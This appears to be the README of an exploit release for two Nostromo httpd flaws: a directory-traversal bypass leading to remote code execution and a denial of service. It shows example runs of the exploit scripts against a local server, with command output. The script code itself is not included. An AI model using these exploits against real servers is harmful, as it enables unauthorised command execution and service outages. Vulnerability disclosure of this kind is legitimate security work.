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Exploits for CVE-2019-16278 and CVE-2019-16279

Nostromo httpd is prone to 2 cricital vulnerabilities for versions <= 1.9.6 (0day =]) first one is an RCE through directory transversal, second one is a DoS

CVE-2019-16278 - Directory transversal to remote code execution

This bug is due to an incomplete fix for CVE-2011-0751. We can bypass a check for /../ which allows us to execute /bin/sh with arbitrary arguments.

Example

$ ./CVE-2019-16278.sh 127.0.0.1 8080 id
uid=1001(sp0re) gid=1001(sp0re) groups=1001(sp0re)

CVE-2019-16279 - Denial of Service

This bug exploit a memory error when sending too many \r\n in a single connexion.

Example

$ curl http://127.0.0.1:8080
HELLO!
$ ./CVE-2019-16279.sh 127.0.0.1 8080
$ curl http://127.0.0.1:8080
curl: (7) Failed to connect to 127.0.0.1 port 8080: Connection refused